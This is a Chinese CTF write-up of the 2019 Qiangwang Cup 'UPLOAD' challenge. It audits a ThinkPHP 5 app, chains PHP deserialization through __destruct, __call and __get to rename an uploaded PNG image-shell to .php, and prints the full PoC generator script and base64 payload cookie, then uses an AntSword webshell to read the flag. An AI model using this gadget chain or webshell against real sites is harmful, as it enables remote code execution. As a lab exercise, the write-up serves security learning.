UPLOAD
UPLOAD
知識點:代碼審計,PHP 反序列化。
步驟:
1.先打開靶機看看。

2.看起來是個登錄和注冊頁面,那么就先注冊然后登錄試試吧。




3.登錄之后看到這樣一個頁面,測了一下只能上傳能被正常查看的 png。


4.跳轉到了一個新的頁面,這個頁面似乎沒有任何實際功能了。然后可以看到我們圖片是正確被上傳到服務器上的 /upload/da5703ef349c8b4ca65880a05514ff89/ 下了。

5.然后我們來掃掃敏感文件,發現 /www.tar.gz 下有內容(其實是從第二題得到的提示),下載下來解壓看看,發現是 ThinkPHP 5 框架寫的。

6.而且其有 .idea 目錄,我們將其導入到 PHPStorm 看看吧。


7.發現其在 application/web/controller/Register.php 和 application/web/controller/Index.php 下有兩個斷點,很詭異,估計是 Hint 了。
application/web/controller/Register.php:

application/web/controller/Index.php:

8.看了看,發現這兩個點的流程大概如下。
application/web/controller/Index.php 里的:
首先訪問大部分頁面例如 index 都會調用 login_check 方法。
該方法會先將傳入的用戶 Profile 反序列化,而后到數據庫中檢查相關信息是否一致。
application/web/controller/Register.php 里的:
Register 的析構方法,估計是想判斷注沒注冊,沒注冊的給調用 check 也就是 Index 的 index 方法,也就是跳到主頁了。
9.然后再來審一下其他代碼,發現上傳圖片的主要邏輯在 application/web/controller/Profile.php 里。

先檢查是否登錄,然后判斷是否有文件,然后獲取后綴,解析圖片判斷是否為正常圖片,再從臨時文件拷貝到目標路徑。
而 Profile 有 _call 和 _get 兩個魔術方法,分別書寫了在調用不可調用方法和不可調用成員變量時怎么做。_get 會直接從 except 里找,_call 會調用自身的 name 成員變量所指代的變量所指代的方法。

看起來似乎天衣無縫。
但別忘了前面我們有反序列化和析構函數的調用,結合這三個地方我們就可以操控 Profile 里的參數,控制其中的 upload_img 方法,這樣我們就能任意更改文件名,讓其為我們所用了。
11.首先用蟻劍生成個馬,再用 hex 編輯器構造個圖片馬,注冊個新號上傳上去。



12.然后構造一個 Profile 和 Register 類,命名空間 app\web\controller(要不然反序列化會出錯,不知道對象實例化的是哪個類)。然后給其 except 成員變量賦值 [‘index’ => ‘img’],代表要是訪問 index 這個變量,就會返回 img。而后又給 img 賦值 upload_img,讓這個對象被訪問不存在的方法時最終調用 upload_img。

而后我們又賦值控制 filename_tmp 和 filename 成員變量。可以看到前面兩個判斷我們只要不賦值和不上傳變量即可輕松繞過。ext 這里也要賦值,讓他進這個判斷。而后程序就開始把 filename_tmp 移動到 filename,這樣我們就可以把 png 移動為 php 文件了。
而后,我們還要構造一個 Register,checker 賦值為 我們上面這個 $profile,registed 賦值為 false,這樣在這個對象析構時就會調用 profile 的 index 方法,再跳到 upload_img 了。
13.最終 Poc 生成腳本如下,PHP 的。
<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));`
14.運行,得到 Poc。
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjg2OiIuLi9wdWJsaWMvdXBsb2FkL2RhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5L2U2ZTljNDgzNjg3NTJiMjYwOTE0YTkxMGJlOTA0MjU3LnBuZyI7czo4OiJmaWxlbmFtZSI7czo4NjoiLi4vcHVibGljL3VwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9lNmU5YzQ4MzY4NzUyYjI2MDkxNGE5MTBiZTkwNDI1Ny5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtzOjM6InBuZyI7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9
15.然后置 coookie。

16.刷新頁面。

17.可以看到我們的小馬已經能訪問了。

18.然后蟻劍連上,打開 /flag 文件。


19.Flag 到手~
2019強網杯-Writeup